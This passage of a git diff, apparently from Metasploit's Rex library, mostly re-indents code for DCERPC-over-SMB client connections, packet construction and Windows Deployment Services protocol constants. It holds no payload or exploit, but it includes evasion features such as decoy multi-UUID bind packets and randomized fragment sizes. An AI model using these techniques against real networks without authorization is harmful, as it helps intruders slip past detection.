'tcp' + raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + end + when 'ncacn_np' + if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe + self.ispipe = 1 + elsif self.socket.type? == 'tcp' + self.smb_connect() + else + raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + end + # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) + else + raise "Unsupported protocol : #{self.handle.protocol}" + end + end - # Create the appropriate socket based on protocol - def socket_setup() - ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] } - self.socket = case self.handle.protocol + # Create the appropriate socket based on protocol + def socket_setup() + ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] } + self.socket = case self.handle.protocol - when 'ncacn_ip_tcp' - Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => self.handle.options[0], - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) + when 'ncacn_ip_tcp' + Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => self.handle.options[0], + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) - when 'ncacn_np' - begin - socket = Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => 445, - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) - rescue ::Timeout::Error, Rex::ConnectionRefused - socket = Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => 139, - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) - end - socket - else nil - end + when 'ncacn_np' + begin + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 445, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) + rescue ::Timeout::Error, Rex::ConnectionRefused + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 139, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) + end + socket + else nil + end - # Add this socket to the exploit's list of open sockets - options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit']) - end + # Add this socket to the exploit's list of open sockets + options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit']) + end - def smb_connect() - require 'rex/proto/smb/simpleclient' + def smb_connect() + require 'rex/proto/smb/simpleclient' - if(not self.smb) - if self.socket.peerport == 139 - smb = Rex::Proto::SMB::SimpleClient.new(self.socket) - else - smb = Rex::Proto::SMB::SimpleClient.new(self.socket, true) - end + if(not self.smb) + if self.socket.peerport == 139 + smb = Rex::Proto::SMB::SimpleClient.new(self.socket) + else + smb = Rex::Proto::SMB::SimpleClient.new(self.socket, true) + end - smb.login('*SMBSERVER', self.options['smb_user'], self.options['smb_pass']) - smb.connect("\\\\#{self.handle.address}\\IPC$") - self.smb = smb - self.smb.read_timeout = self.options['read_timeout'] - end + smb.login('*SMBSERVER', self.options['smb_user'], self.options['smb_pass']) + smb.connect("\\\\#{self.handle.address}\\IPC$") + self.smb = smb + self.smb.read_timeout = self.options['read_timeout'] + end - f = self.smb.create_pipe(self.handle.options[0]) - f.mode = self.options['smb_pipeio'] - self.socket = f - end + f = self.smb.create_pipe(self.handle.options[0]) + f.mode = self.options['smb_pipeio'] + self.socket = f + end - def read() + def read() - max_read = self.options['pipe_read_max_size'] || 1024*1024 - min_read = self.options['pipe_read_min_size'] || max_read + max_read = self.options['pipe_read_max_size'] || 1024*1024 + min_read = self.options['pipe_read_min_size'] || max_read - raw_response = '' + raw_response = '' - # Are we reading from a remote pipe over SMB? - if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) - begin + # Are we reading from a remote pipe over SMB? + if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) + begin - # Max SMB read is 65535, cap it at 64000 - max_read = [64000, max_read].min - min_read = [64000, min_read].min + # Max SMB read is 65535, cap it at 64000 + max_read = [64000, max_read].min + min_read = [64000, min_read].min - read_limit = nil + read_limit = nil - while(true) - # Random read offsets will not work on Windows NT 4.0 (thanks Dave!) + while(true) + # Random read offsets will not work on Windows NT 4.0 (thanks Dave!) - read_cnt = (rand(max_read-min_read)+min_read) - if(read_limit) - if(read_cnt + raw_response.length > read_limit) - read_cnt = raw_response.length - read_limit - end - end + read_cnt = (rand(max_read-min_read)+min_read) + if(read_limit) + if(read_cnt + raw_response.length > read_limit) + read_cnt = raw_response.length - read_limit + end + end - data = self.socket.read( read_cnt, rand(1024)+1) - break if !(data and data.length > 0) - raw_response += data + data = self.socket.read( read_cnt, rand(1024)+1) + break if !(data and data.length > 0) + raw_response += data - # Keep reading until we have at least the DCERPC header - next if raw_response.length < 10 + # Keep reading until we have at least the DCERPC header + next if raw_response.length < 10 - # We now have to process the raw_response and parse out the DCERPC fragment length - # if we have read enough data. Once we have the length value, we need to make sure - # that we don't read beyond this amount, or it can screw up the SMB state - if (not read_limit) - begin - check = Rex::Proto::DCERPC::Response.new(raw_response) - read_limit = check.frag_len - rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket - end - end - break if (read_limit and read_limit <= raw_response.length) - end + # We now have to process the raw_response and parse out the DCERPC fragment length + # if we have read enough data. Once we have the length value, we need to make sure + # that we don't read beyond this amount, or it can screw up the SMB state + if (not read_limit) + begin + check = Rex::Proto::DCERPC::Response.new(raw_response) + read_limit = check.frag_len + rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket + end + end + break if (read_limit and read_limit <= raw_response.length) + end - rescue Rex::Proto::SMB::Exceptions::NoReply - # I don't care if I didn't get a reply... - rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception - if exception.error_code != 0xC000014B - raise exception - end - end - # This must be a regular TCP or UDP socket - else - if (self.socket.type? == 'tcp') - if (false and max_read) - while (true) - data = self.socket.get_once((rand(max_read-min_read)+min_read), self.options['read_timeout']) - break if not data - break if not data.length - raw_response << data - end - else - # Just read the entire response in one go - raw_response = self.socket.get_once(-1, self.options['read_timeout']) - end - else - # No segmented read support for non-TCP sockets - raw_response = self.socket.read(0xFFFFFFFF / 2 - 1) # read max data - end - end + rescue Rex::Proto::SMB::Exceptions::NoReply + # I don't care if I didn't get a reply... + rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception + if exception.error_code != 0xC000014B + raise exception + end + end + # This must be a regular TCP or UDP socket + else + if (self.socket.type? == 'tcp') + if (false and max_read) + while (true) + data = self.socket.get_once((rand(max_read-min_read)+min_read), self.options['read_timeout']) + break if not data + break if not data.length + raw_response << data + end + else + # Just read the entire response in one go + raw_response = self.socket.get_once(-1, self.options['read_timeout']) + end + else + # No segmented read support for non-TCP sockets + raw_response = self.socket.read(0xFFFFFFFF / 2 - 1) # read max data + end + end - raw_response - end + raw_response + end - # Write data to the underlying socket, limiting the sizes of the writes based on - # the pipe_write_min / pipe_write_max options. - def write(data) + # Write data to the underlying socket, limiting the sizes of the writes based on + # the pipe_write_min / pipe_write_max options. + def write(data) - max_write = self.options['pipe_write_max_size'] || data.length - min_write = self.options['pipe_write_min_size'] || max_write + max_write = self.options['pipe_write_max_size'] || data.length + min_write = self.options['pipe_write_min_size'] || max_write - if(min_write > max_write) - max_write = min_write - end + if(min_write > max_write) + max_write = min_write + end - idx = 0 + idx = 0 - if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) - while(idx < data.length) - bsize = (rand(max_write-min_write)+min_write).to_i - len = self.socket.write(data[idx, bsize], rand(1024)+1) - idx += bsize - end - else - self.socket.write(data) - end + if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) + while(idx < data.length) + bsize = (rand(max_write-min_write)+min_write).to_i + len = self.socket.write(data[idx, bsize], rand(1024)+1) + idx += bsize + end + else + self.socket.write(data) + end - data.length - end + data.length + end - def bind() - require 'rex/proto/dcerpc/packet' - bind = '' - context = '' - if self.options['fake_multi_bind'] + def bind() + require 'rex/proto/dcerpc/packet' + bind = '' + context = '' + if self.options['fake_multi_bind'] - args = [ self.handle.uuid[0], self.handle.uuid[1] ] + args = [ self.handle.uuid[0], self.handle.uuid[1] ] - if (self.options['fake_multi_bind_prepend']) - args << self.options['fake_multi_bind_prepend'] - end + if (self.options['fake_multi_bind_prepend']) + args << self.options['fake_multi_bind_prepend'] + end - if (self.options['fake_multi_bind_append']) - args << self.options['fake_multi_bind_append'] - end + if (self.options['fake_multi_bind_append']) + args << self.options['fake_multi_bind_append'] + end - bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) - else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) - end + bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) + else + bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) + end - raise 'make_bind failed' if !bind + raise 'make_bind failed' if !bind - self.write(bind) - raw_response = self.read() + self.write(bind) + raw_response = self.read() - response = Rex::Proto::DCERPC::Response.new(raw_response) - self.last_response = response - if response.type == 12 or response.type == 15 - if self.last_response.ack_result[context] == 2 - raise "Could not bind to #{self.handle}" - end - self.context = context - else - raise "Could not bind to #{self.handle}" - end - end + response = Rex::Proto::DCERPC::Response.new(raw_response) + self.last_response = response + if response.type == 12 or response.type == 15 + if self.last_response.ack_result[context] == 2 + raise "Could not bind to #{self.handle}" + end + self.context = context + else + raise "Could not bind to #{self.handle}" + end + end - # Perform a DCE/RPC Function Call - def call(function, data, do_recv = true) + # Perform a DCE/RPC Function Call + def call(function, data, do_recv = true) - frag_size = data.length - if options['frag_size'] - frag_size = options['frag_size'] - end - object_id = '' - if options['object_call'] - object_id = self.handle.uuid[0] - end - if options['random_object_id'] - object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) - end + frag_size = data.length + if options['frag_size'] + frag_size = options['frag_size'] + end + object_id = '' + if options['object_call'] + object_id = self.handle.uuid[0] + end + if options['random_object_id'] + object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) + end - call_packets = Rex::Proto::DCERPC::Packet.make_request(function, data, frag_size, self.context, object_id) - call_packets.each { |packet| - self.write(packet) - } + call_packets = Rex::Proto::DCERPC::Packet.make_request(function, data, frag_size, self.context, object_id) + call_packets.each { |packet| + self.write(packet) + } - return true if not do_recv + return true if not do_recv - raw_response = '' + raw_response = '' - begin - raw_response = self.read() - rescue ::EOFError - raise Rex::Proto::DCERPC::Exceptions::NoResponse - end + begin + raw_response = self.read() + rescue ::EOFError + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end - if (raw_response == nil or raw_response.length == 0) - raise Rex::Proto::DCERPC::Exceptions::NoResponse - end + if (raw_response == nil or raw_response.length == 0) + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end - self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) + self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) - if self.last_response.type == 3 - e = Rex::Proto::DCERPC::Exceptions::Fault.new - e.fault = self.last_response.status - raise e - end + if self.last_response.type == 3 + e = Rex::Proto::DCERPC::Exceptions::Fault.new + e.fault = self.last_response.status + raise e + end - self.last_response.stub_data - end + self.last_response.stub_data + end - # Process a DCERPC response packet from a socket - def self.read_response(socket, timeout=self.options['read_timeout']) + # Process a DCERPC response packet from a socket + def self.read_response(socket, timeout=self.options['read_timeout']) - data = socket.get_once(-1, timeout) + data = socket.get_once(-1, timeout) - # We need at least 10 bytes to find the FragLen - if (! data or data.length() < 10) - return - end + # We need at least 10 bytes to find the FragLen + if (! data or data.length() < 10) + return + end - # Pass the first 10 bytes to the constructor - resp = Rex::Proto::DCERPC::Response.new(data.slice!(0, 10)) + # Pass the first 10 bytes to the constructor + resp = Rex::Proto::DCERPC::Response.new(data.slice!(0, 10)) - # Something went wrong in the parser... - if (! resp.frag_len) - return resp - end + # Something went wrong in the parser... + if (! resp.frag_len) + return resp + end - # Do we need to read more data? - if (resp.frag_len > (data.length + 10)) - begin - data << socket.timed_read(resp.frag_len - data.length - 10, timeout) - rescue Timeout::Error - end - end + # Do we need to read more data? + if (resp.frag_len > (data.length + 10)) + begin + data << socket.timed_read(resp.frag_len - data.length - 10, timeout) + rescue Timeout::Error + end + end - # Still missing some data... - if (data.length() != resp.frag_len - 10) - # TODO: Bubble this up somehow - # $stderr.puts "Truncated DCERPC response :-(" - return resp - end + # Still missing some data... + if (data.length() != resp.frag_len - 10) + # TODO: Bubble this up somehow + # $stderr.puts "Truncated DCERPC response :-(" + return resp + end - resp.parse(data) - return resp - end + resp.parse(data) + return resp + end end end diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 34aa73de14..b60e8998da 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -8,255 +8,255 @@ require 'rex/proto/dcerpc/uuid' require 'rex/proto/dcerpc/response' require 'rex/text' - UUID = Rex::Proto::DCERPC::UUID + UUID = Rex::Proto::DCERPC::UUID - # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) + # Create a standard DCERPC BIND request packet + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) - if UUID.is? xfer_syntax_uuid - xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) - end + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end - # Create the bind request packet - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 11, # bind type - 3, # flags - 0x10000000, # data representation - 72, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - 1, # num ctx items - 0, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('CCCCNvvVvvVVvvA16vvA16vv') + # Create the bind request packet + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 11, # bind type + 3, # flags + 0x10000000, # data representation + 72, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + 1, # num ctx items + 0, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('CCCCNvvVvvVVvvA16vvA16vv') - return buff, 0 - end + return buff, 0 + end - # Create an obfuscated DCERPC BIND request packet - def self.make_bind_fake_multi(uuid, vers, bind_head=0, bind_tail=0) + # Create an obfuscated DCERPC BIND request packet + def self.make_bind_fake_multi(uuid, vers, bind_head=0, bind_tail=0) - bind_head = bind_head.to_i - bind_tail = bind_tail.to_i - bind_head = rand(6)+10 if bind_head == 0 - bind_tail = rand(4)+1 if bind_head == 0 + bind_head = bind_head.to_i + bind_tail = bind_tail.to_i + bind_head = rand(6)+10 if bind_head == 0 + bind_tail = rand(4)+1 if bind_head == 0 - u = Rex::Proto::DCERPC::UUID + u = Rex::Proto::DCERPC::UUID - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) - bind_total = bind_head + bind_tail + 1 - bind_size = (bind_total * 44) + 28 - real_ctx, ctx = 0, 0 + bind_total = bind_head + bind_tail + 1 + bind_size = (bind_total * 44) + 28 + real_ctx, ctx = 0, 0 - # Create the header of the bind request - data = - [ - 5, # major version 5 - 0, # minor version 0 - 11, # bind type - 3, # flags - 0x10000000, # data representation - bind_size, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - bind_total, # num ctx items - ].pack('CCCCNvvVvvVV') + # Create the header of the bind request + data = + [ + 5, # major version 5 + 0, # minor version 0 + 11, # bind type + 3, # flags + 0x10000000, # data representation + bind_size, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + bind_total, # num ctx items + ].pack('CCCCNvvVvvVV') - # Generate the fake UUIDs prior to the real one - 1.upto(bind_head) do || - # Generate some random UUID and versions - rand_uuid = Rex::Text.rand_text(16) - rand_imaj = rand(6) - rand_imin = rand(4) + # Generate the fake UUIDs prior to the real one + 1.upto(bind_head) do || + # Generate some random UUID and versions + rand_uuid = Rex::Text.rand_text(16) + rand_imaj = rand(6) + rand_imin = rand(4) - data += - [ - ctx, # context id - 1, # num trans items - rand_uuid, # interface uuid - rand_imaj, # interface major version - rand_imin, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 - end + data += + [ + ctx, # context id + 1, # num trans items + rand_uuid, # interface uuid + rand_imaj, # interface major version + rand_imin, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 + end - # Stuff the real UUID onto the end of the buffer - real_ctx = ctx; - data += - [ - ctx, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 + # Stuff the real UUID onto the end of the buffer + real_ctx = ctx; + data += + [ + ctx, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 - # Generate the fake UUIDs after the real one - 1.upto(bind_tail) do || - # Generate some random UUID and versions - rand_uuid = Rex::Text.rand_text(16) - rand_imaj = rand(6) - rand_imin = rand(4) + # Generate the fake UUIDs after the real one + 1.upto(bind_tail) do || + # Generate some random UUID and versions + rand_uuid = Rex::Text.rand_text(16) + rand_imaj = rand(6) + rand_imin = rand(4) - data += - [ - ctx, # context id - 1, # num trans items - rand_uuid, # interface uuid - rand_imaj, # interface major version - rand_imin, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 - end + data += + [ + ctx, # context id + 1, # num trans items + rand_uuid, # interface uuid + rand_imaj, # interface major version + rand_imin, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 + end - # Return both the bind packet and the real context_id - return data, real_ctx - end + # Return both the bind packet and the real context_id + return data, real_ctx + end - # Create a standard DCERPC ALTER_CONTEXT request packet - def self.make_alter_context(uuid, vers) - u = Rex::Proto::DCERPC::UUID + # Create a standard DCERPC ALTER_CONTEXT request packet + def self.make_alter_context(uuid, vers) + u = Rex::Proto::DCERPC::UUID - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 14, # alter context - 3, # flags - 0x10000000, # data representation - 72, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - 1, # num ctx items - 0, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('CCCCNvvVvvVVvvA16vvA16vv') - end + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 14, # alter context + 3, # flags + 0x10000000, # data representation + 72, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + 1, # num ctx items + 0, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('CCCCNvvVvvVVvvA16vvA16vv') + end - # Used to create a piece of a DCERPC REQUEST packet - def self.make_request_chunk(flags=3, opnum=0, data="", ctx=0, object_id = '') + # Used to create a piece of a DCERPC REQUEST packet + def self.make_request_chunk(flags=3, opnum=0, data="", ctx=0, object_id = '') - flags = flags.to_i - opnum = opnum.to_i - ctx = ctx.to_i + flags = flags.to_i + opnum = opnum.to_i + ctx = ctx.to_i - dlen = data.length - flen = dlen + 24 + dlen = data.length + flen = dlen + 24 - use_object = 0 + use_object = 0 - object_str = '' + object_str = '' - if object_id.size > 0 - flags |= 0x80 - flen = flen + 16 - object_str = UUID.uuid_pack(object_id) - end + if object_id.size > 0 + flags |= 0x80 + flen = flen + 16 + object_str = UUID.uuid_pack(object_id) + end - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 0, # request type - flags, # flags - 0x10000000, # data representation - flen, # frag length - 0, # auth length - 0, # call id - dlen, # alloc hint - ctx, # context id - opnum, # operation number - ].pack('CCCCNvvVVvv') + object_str + data - end + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 0, # request type + flags, # flags + 0x10000000, # data representation + flen, # frag length + 0, # auth length + 0, # call id + dlen, # alloc hint + ctx, # context id + opnum, # operation number + ].pack('CCCCNvvVVvv') + object_str + data + end - # Used to create standard DCERPC REQUEST packet(s) - def self.make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') + # Used to create standard DCERPC REQUEST packet(s) + def self.make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') - opnum = opnum.to_i - size = [4000, size.to_i].min - ctx = ctx.to_i + opnum = opnum.to_i + size = [4000, size.to_i].min + ctx = ctx.to_i - chunks, frags = [], [] - ptr = 0 + chunks, frags = [], [] + ptr = 0 - # Break the request into fragments of 'size' bytes - while ptr < data.length - chunks.push( data[ ptr, size ] ) - ptr += size - end + # Break the request into fragments of 'size' bytes + while ptr < data.length + chunks.push( data[ ptr, size ] ) + ptr += size + end - # Process requests with no stub data - if chunks.length == 0 - frags.push( make_request_chunk(3, opnum, '', ctx, object_id) ) - return frags - end + # Process requests with no stub data + if chunks.length == 0 + frags.push( make_request_chunk(3, opnum, '', ctx, object_id) ) + return frags + end - # Process requests with only one fragment - if chunks.length == 1 - frags.push( make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) - return frags - end + # Process requests with only one fragment + if chunks.length == 1 + frags.push( make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) + return frags + end - # Create the first fragment of the request - frags.push( make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) + # Create the first fragment of the request + frags.push( make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) - # Create all of the middle fragments - while chunks.length != 1 - frags.push( make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) - end + # Create all of the middle fragments + while chunks.length != 1 + frags.push( make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) + end - # Create the last fragment of the request - frags.push( make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) + # Create the last fragment of the request + frags.push( make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) - return frags - end + return frags + end end end diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb index 1df1625a4f..6c5ea07847 100644 --- a/lib/rex/proto/dcerpc/wdscp/constants.rb +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -7,80 +7,80 @@ module WDSCP # http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx # Not all values defined by the spec have been imported... class Constants - WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" - OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" - VAR_NAME_ARCHITECTURE = "ARCHITECTURE" - VAR_NAME_CLIENT_GUID = "CLIENT_GUID" - VAR_NAME_CLIENT_MAC = "CLIENT_MAC" - VAR_NAME_VERSION = "VERSION" - VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" - VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" - VAR_NAME_FLAGS = "FLAGS" - VAR_NAME_CC = "CC" #Client Capabilities - VAR_NAME_IMDC = "IMDC" + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" - VAR_TYPE_LOOKUP = { - VAR_NAME_ARCHITECTURE => :ULONG, - VAR_NAME_CLIENT_GUID => :WSTRING, - VAR_NAME_CLIENT_MAC => :WSTRING, - VAR_NAME_VERSION => :ULONG, - VAR_NAME_MESSAGE_TYPE => :ULONG, - VAR_NAME_TRANSACTION_ID => :WSTRING, - VAR_NAME_FLAGS => :ULONG, - VAR_NAME_CC => :ULONG, - VAR_NAME_IMDC => :ULONG - } + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } - CC_FLAGS = { - :V2 => 1, - :VHDX => 2 - } + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } - DOMAIN_JOIN_FLAGS = { - :JOIN_DOMAIN => 1, - :ACCOUNT_EXISTS => 2, - :PRESTAGE_USING_MAC => 3, - :RESET_BOOT_PROGRAM => 256 - } + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + :RESET_BOOT_PROGRAM => 256 + } - ARCHITECTURE = { - :X64 => 9, - :X86 => 0, - :IA64 => 6, - :ARM => 5 - } + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } - PACKET_TYPE = { - :REQUEST => 1, - :REPLY => 2 - } + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } - OPCODE = { - :IMG_ENUMERATE => 2, - :LOG_INIT => 3, - :LOG_MSG => 4, - :GET_CLIENT_UNATTEND => 5, - :GET_UNATTEND_VARIABLES => 6, - :GET_DOMAIN_JOIN_INFORMATION => 7, - :RESET_BOOT_PROGRAM => 8, - :GET_MACHINE_DRIVER_PACKAGES => 200 - } + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } - BASE_TYPE = { - :BYTE => 0x0001, - :USHORT => 0x0002, - :ULONG => 0x0004, - :ULONG64 => 0x0008, - :STRING => 0x0010, - :WSTRING => 0x0020, - :BLOB => 0x0040 - } + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } - TYPE_MODIFIER = { - :NONE => 0x0000, - :ARRAY => 0x1000 - } + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } end end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index 7ccdfb60b7..f674e059ff 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ 